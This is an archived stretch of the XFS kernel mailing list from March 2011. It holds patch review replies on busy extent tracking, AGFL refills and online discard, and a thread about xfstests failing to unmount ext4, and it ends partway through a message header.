X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2Mcr-0003gc-8M; Wed, 23 Mar 2011 11:53:21 +0000 Date: Wed, 23 Mar 2011 07:53:21 -0400 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: xfs_trans_read_buf() should return an error on failure Subject: Re: [PATCH 4/6] xfs: xfs_trans_read_buf() should return an error on failure Message-ID: <20110323115321.GA11612@infradead.org> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-5-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1300860870-15471-5-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300881202 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 05:14:28PM +1100, Dave Chinner wrote: > From: Dave Chinner > > When inside a transaction and we fail to read a buffer, > xfs_trans_read_buf returns a null buffer pointer and no error. > xfs_do_da_buf() checks the error return, but not the buffer, and as > a result this read failure condition causes a panic when it attempts > to dereference the non-existant buffer. > > Make xfs_trans_read_buf() return the same error for this situation > regardless of whether it is in a transaction or not. This means > every caller does not need to check both the error return and the > buffer before proceeding to use the buffer. Most callers seem to fine because they always pass 0 as flags, or handle a NULL bp return. The exception is xfs_imap_to_bp, which can get a trylock flag via xfs_itobp and xfs_iflush, which needs a fix for this. From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 07:13:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NCDDrY091073 for ; Wed, 23 Mar 2011 07:13:23 -0500 X-ASG-Debug-ID: 1300882573-3cd102150000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E903BA77C58; Wed, 23 Mar 2011 05:16:13 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id haaEiXa49VTgJs6c; Wed, 23 Mar 2011 05:16:13 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2Myz-0001A6-6D; Wed, 23 Mar 2011 12:16:13 +0000 Date: Wed, 23 Mar 2011 08:16:13 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: optimize AGFL refills Subject: Re: [PATCH 1/6] xfs: optimize AGFL refills Message-ID: <20110323121613.GA468@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.280301318@bombadil.infradead.org> <1300833051.2875.275.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1300833051.2875.275.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300882573 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 05:30:51PM -0500, Alex Elder wrote: > On Tue, 2011-03-22 at 15:55 -0400, Christoph Hellwig wrote: > > Avoid forcing out busy extent when moving blocks from/to the AGFL. We > > Without thinking a bit about it, it wasn't clear why doing > this was OK to do. It would be nice to record a one-sentence > justification of why we don't need to force busy extents out > in this case. I've added a sentence, but it seems rather pointless. > achieve this fixed. > > the callers that need it, and by moving the busy list insert from > > xfs_free_ag_extent extent which is used both by AGFL refills and real > ^^^^^ drop this word fixed. From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 07:13:49 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_44, J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NCDcdi091104 for ; Wed, 23 Mar 2011 07:13:48 -0500 X-ASG-Debug-ID: 1300882599-4b3e017a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 817C2B14B3E for ; Wed, 23 Mar 2011 05:16:39 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 1oBR1RwhQUNRasJq for ; Wed, 23 Mar 2011 05:16:39 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2MzO-0001BJ-Pp; Wed, 23 Mar 2011 12:16:38 +0000 Date: Wed, 23 Mar 2011 08:16:38 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: optimize AGFL refills Subject: Re: [PATCH 1/6] xfs: optimize AGFL refills Message-ID: <20110323121638.GB468@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.280301318@bombadil.infradead.org> <20110322233054.GD15270@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322233054.GD15270@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300882599 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 10:30:54AM +1100, Dave Chinner wrote: > > + if (error) > > + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); > > Shouldn't that be "if (!error)"? i.e. if we freed the extent > successfully we need to insert it in the busy list. This current > code has the effect of never inserting freed data extents in the > busy list.... Yes, it should. This got messed up at some point during reshuffling the series. From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 07:14:43 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NCEXQI091163 for ; Wed, 23 Mar 2011 07:14:43 -0500 X-ASG-Debug-ID: 1300882653-4b3b016a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 03423B26A0E; Wed, 23 Mar 2011 05:17:33 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id j9cCjPkfb1AZlK4g; Wed, 23 Mar 2011 05:17:33 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2N0H-0001Dj-8P; Wed, 23 Mar 2011 12:17:33 +0000 Date: Wed, 23 Mar 2011 08:17:33 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges Subject: Re: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges Message-ID: <20110323121733.GC468@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.474878707@bombadil.infradead.org> <1300833059.2875.276.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1300833059.2875.276.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300882654 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 05:30:59PM -0500, Alex Elder wrote: > Again, this looks nearly identical to your last version. > On that one, I suggested rewording a comment, and you > said "ok." You did not do so in this version, which I > guess is fine. I just want to know whether you intended > to. If so I'll give you a chance to post an update; if > not I can take this one as-is. Sorry, I fixe half of what you pointed out and postponed the comment rewrite. I've taken your version of the comments for the next spin. Still not sure what to do about the magic 4, though. From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 07:21:50 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NCLdx0091473 for ; Wed, 23 Mar 2011 07:21:50 -0500 X-ASG-Debug-ID: 1300883079-4986029c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1550436D409 for ; Wed, 23 Mar 2011 05:24:39 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id CkJpvFhvqRo8jVJC for ; Wed, 23 Mar 2011 05:24:39 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2N78-0002Z4-BL; Wed, 23 Mar 2011 12:24:38 +0000 Date: Wed, 23 Mar 2011 08:24:38 -0400 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: exact busy extent tracking Subject: Re: [PATCH 3/6] xfs: exact busy extent tracking Message-ID: <20110323122438.GD468@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.657110761@bombadil.infradead.org> <20110322234728.GE15270@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322234728.GE15270@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300883080 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 10:47:28AM +1100, Dave Chinner wrote: > BUG_ON() inside a spinlock will effectively lock up the machine as > other CPUs try to take the spinlock that was held by the thread that > went bad. It causes the machine to die a horrible, undebuggable death > rather than just kill the thread that caused the oops and leaving > everything else still functional. > > If it were an ASSERT(), that's probably OK because it is only debug > systems that woul dhave this problem, but the use of BUG(_ON) means > it will cause production systems to die as well. I've changed it to asserts. > > + * We would have to split the busy extent to be able > > + * to track it correct, which we cannot do because we > > + * would have to modify the list of busy extents > > + * attached to the transaction/CIL context, which > > + * is mutable. > > immutable? Yes. > > + * > > + * Force out the log to clear the busy extents > > + * and retry the search. > > + */ > > BTW, these comments appear to wrap at 68 columns - any particular > reason? They used to sit one more tab to the right and I didn't fix them up when splitting the function. I've rewrapped them now. > > + overlap = xfs_alloc_busy_try_reuse(pag, busyp, > > + fbno, fbno + flen); > > + if (overlap) { > > + spin_unlock(&pag->pagb_lock); > > + xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > > + goto restart; > > + } > > xfs_alloc_busy_try_reuse() only ever returns -1 or 1, which means > this will always trigger a log force on overlap.... At least for now, yes. In the next patch we will treat -1 vs 1 differently. Maybe it should be changed to 0 vs 1, but even that isn't quite intuitive. I'll think about it a bit more. From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 07:23:44 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NCNXgi091565 for ; Wed, 23 Mar 2011 07:23:44 -0500 X-ASG-Debug-ID: 1300883194-5d3701c90000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DE19436D99A for ; Wed, 23 Mar 2011 05:26:34 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id othbR1CKY4QlfKW1 for ; Wed, 23 Mar 2011 05:26:34 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2N90-0003Eg-B7; Wed, 23 Mar 2011 12:26:34 +0000 Date: Wed, 23 Mar 2011 08:26:34 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 4/6] xfs: allow reusing busy extents where safe Subject: Re: [PATCH 4/6] xfs: allow reusing busy extents where safe Message-ID: <20110323122634.GE468@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.837735220@bombadil.infradead.org> <20110323002024.GF15270@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323002024.GF15270@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300883194 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 11:20:24AM +1100, Dave Chinner wrote: > > overlap = xfs_alloc_busy_try_reuse(pag, busyp, > > fbno, fbno + flen); > > - if (overlap) { > > + if (overlap == -1 || (overlap && userdata)) { > > spin_unlock(&pag->pagb_lock); > > xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); > > goto restart; > > Ok, so the only time we'll do a log force now is on an complete > overlap or a partial userdata overlap? We do it if we would have to split the busy extent, or reallocate metadata to userdata. > > + if (!args->userdata || > > + (busyp->flags & XFS_ALLOC_BUSY_USERDATA)) { > > + int overlap; > > + > > + overlap = xfs_alloc_busy_try_reuse(args->pag, busyp, > > + fbno, fbno + flen); > > + if (unlikely(overlap == -1)) { > > + spin_unlock(&args->pag->pagb_lock); > > + xfs_log_force(args->mp, XFS_LOG_SYNC); > > + goto restart; > > + } > > Hmmmm - I'm not so sure we can reuse overlapped data extents for > data allocations without a log force at all as there is no guarantee > that the data will not be overwritten before the original free > transaction is on disk. > > That is, recovery may not replay the original data extent free > transaction or the new allocation transaction, but there is nothing > stopping us from having written the new data into the extent before > the crash occurred, especially as delayed allocation places the > allocation very close the data IO issue. e.g.: > > thread X thread Y > free data extent ABC > allocate data extent BCD > partial overlap, no log force > issue data IO > ..... > > > > That leads to corruption of the data in the original file because > neither transaction is written to disk, but new data is.... You're right. It's fine from the transaction point of view, but it could leave wrong data in a file. I'll disallow this case, too. From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 07:28:45 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NCSZ4T091800 for ; Wed, 23 Mar 2011 07:28:45 -0500 X-ASG-Debug-ID: 1300883495-4b3c01da0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E792312B1E6E for ; Wed, 23 Mar 2011 05:31:35 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 57IhlGrstDA6nCJt for ; Wed, 23 Mar 2011 05:31:35 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2NDr-00052W-6t; Wed, 23 Mar 2011 12:31:35 +0000 Date: Wed, 23 Mar 2011 08:31:35 -0400 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add online discard support Subject: Re: [PATCH 5/6] xfs: add online discard support Message-ID: <20110323123135.GA19111@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.024991786@bombadil.infradead.org> <20110323003003.GG15270@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323003003.GG15270@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300883495 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > > + if ((mp->m_flags & XFS_MOUNT_DISCARD) == 0) > > + return 0; > > I'd move this check to the callers, otherwise we are going to be > doing lots of function calls in a relatively performance sensitive > loop just to run a single check when discard is not enabled... Ok. As you noticed it's done in the next patch, and they will probably be merged into one before the final submission. But for now I'll move it to make the patch more obvious. > > + error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, bno, len, > > + GFP_NOFS, 0); > > + if (error && error != EOPNOTSUPP) > > + xfs_info(mp, "discard failed, error %d", error); > > This would be more informative if it also printed the bno and len of > the discard that failed. A couple of tracepoints here (e.g. > discard_extent_issued, discard_extent_failed) could also be useful > for tracking discard operations. Yeah, I was planning to add a lot more tracepoint later on, both for the busy extent handling and discards. From amir73il@gmail.com Wed Mar 23 09:33:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NEXRmB098902 for ; Wed, 23 Mar 2011 09:33:32 -0500 X-ASG-Debug-ID: 1300890977-53c901cf0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-qy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5C1FD36E1D9 for ; Wed, 23 Mar 2011 07:36:17 -0700 (PDT) Received: from mail-qy0-f181.google.com (mail-qy0-f181.google.com [209.85.216.181]) by cuda.sgi.com with ESMTP id jFTeZfFSq1TgSniL for ; Wed, 23 Mar 2011 07:36:17 -0700 (PDT) Received: by qyg14 with SMTP id 14so7219758qyg.5 for ; Wed, 23 Mar 2011 07:36:17 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:date:message-id:subject:from:to:cc :content-type:content-transfer-encoding; bh=tix54KqTMJgqfoRNGrtxVofMRmgPFdfACtfu9JBGSRw=; b=OpmYymu9Y6pIH8sNsL2GOjcM+tE61jZQIi7pA4sHKVnpGFEVVSTHFlcyD01KjGkKAn 23KB9VANjg/tZYcukkkpmseslUq5+CTAEGK0CbMc+nMnCmaFmybu4nHsxoycOvwyBQ75 siCIdGiuenpKOzwMJF+R57k5u/lYQvSdq3Bas= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; b=nduymgsAU+8PlgqAR5tTUr3iwl47f7pJjJqilvCTllO7jPF8Ryy4I+uN40Z135eUVg jDqKBRV0jKshpK/0ocb0LhSBnYqVEROHMPfn4L9xpYe/4r/UM93sGTjV/ClcAbX3d6Rc yiL5nV91gA0hxXnL0DjfpT7X203TxxQ1zNjkM= MIME-Version: 1.0 Received: by 10.229.27.65 with SMTP id h1mr5792338qcc.216.1300890977409; Wed, 23 Mar 2011 07:36:17 -0700 (PDT) Received: by 10.229.229.17 with HTTP; Wed, 23 Mar 2011 07:36:17 -0700 (PDT) Date: Wed, 23 Mar 2011 16:36:17 +0200 Message-ID: X-ASG-Orig-Subj: xfstests: failure to umount ext4 Subject: xfstests: failure to umount ext4 From: Amir Goldstein To: XFS Cc: Eric Sandeen , Ext4 Developers List Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qy0-f181.google.com[209.85.216.181] X-Barracuda-Start-Time: 1300890988 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58741 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 4:03 PM, Amir Goldstein wrote: > > I've been running xfstests on ext4 and I always get annoying failures to = umount: > > 213 8s ... 31s > umount: /mnt/test/ext4: device is busy. > =A0 =A0 =A0 =A0(In some cases useful info about processes that use > =A0 =A0 =A0 =A0 the device is found by lsof(8) or fuser(1)) > > post 198 mostly fails to umount as well. > and post 124 always fails to umount. > > My server is Ubuntu 10.10, running kernel 2.6.38. > > Is there any known issue about this? because I could find it on google > or on the XFS list. > Hi All, Has anyone seen these failures when running xfstests on ext4? My test and scratch partitions are dedicated for xfstests. Thanks, Amir. From sandeen@redhat.com Wed Mar 23 09:55:10 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NEt4ep099801 for ; Wed, 23 Mar 2011 09:55:10 -0500 X-ASG-Debug-ID: 1300892274-487301da0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id DC5D814AACE7 for ; Wed, 23 Mar 2011 07:57:54 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7ZLkNScOsLlMiQTX for ; Wed, 23 Mar 2011 07:57:54 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p2NEvsVM001203 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 23 Mar 2011 10:57:54 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p2NEvqdR001961 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Wed, 23 Mar 2011 10:57:53 -0400 Message-ID: <4D8A0A70.9030201@redhat.com> Date: Wed, 23 Mar 2011 09:57:52 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9 MIME-Version: 1.0 To: Amir Goldstein CC: XFS , Ext4 Developers List X-ASG-Orig-Subj: Re: xfstests: failure to umount ext4 Subject: Re: xfstests: failure to umount ext4 References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1300892285 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 3/23/11 9:36 AM, Amir Goldstein wrote: > On Wed, Mar 23, 2011 at 4:03 PM, Amir Goldstein wrote: >> >> I've been running xfstests on ext4 and I always get annoying failures to umount: >> >> 213 8s ... 31s >> umount: /mnt/test/ext4: device is busy. >> (In some cases useful info about processes that use >> the device is found by lsof(8) or fuser(1)) >> >> post 198 mostly fails to umount as well. >> and post 124 always fails to umount. >> >> My server is Ubuntu 10.10, running kernel 2.6.38. >> >> Is there any known issue about this? because I could find it on google >> or on the XFS list. >> > > Hi All, > > Has anyone seen these failures when running xfstests on ext4? > My test and scratch partitions are dedicated for xfstests. I've not seen it, can you investigate with lsof etc? They both work for me on a quick test, anyway, on a .38 kernel. What are you using for your partitions under test? -Eric > Thanks, > Amir. From amir73il@gmail.com Wed Mar 23 10:30:26 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NFULQO101321 for ; Wed, 23 Mar 2011 10:30:26 -0500 X-ASG-Debug-ID: 1300894400-509a02840000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-qy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CAEFC159E45D for ; Wed, 23 Mar 2011 08:33:20 -0700 (PDT) Received: from mail-qy0-f181.google.com (mail-qy0-f181.google.com [209.85.216.181]) by cuda.sgi.com with ESMTP id 3mjJlxsW8HcQsO6x for ; Wed, 23 Mar 2011 08:33:20 -0700 (PDT) Received: by qyg14 with SMTP id 14so7282346qyg.5 for ; Wed, 23 Mar 2011 08:33:20 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; 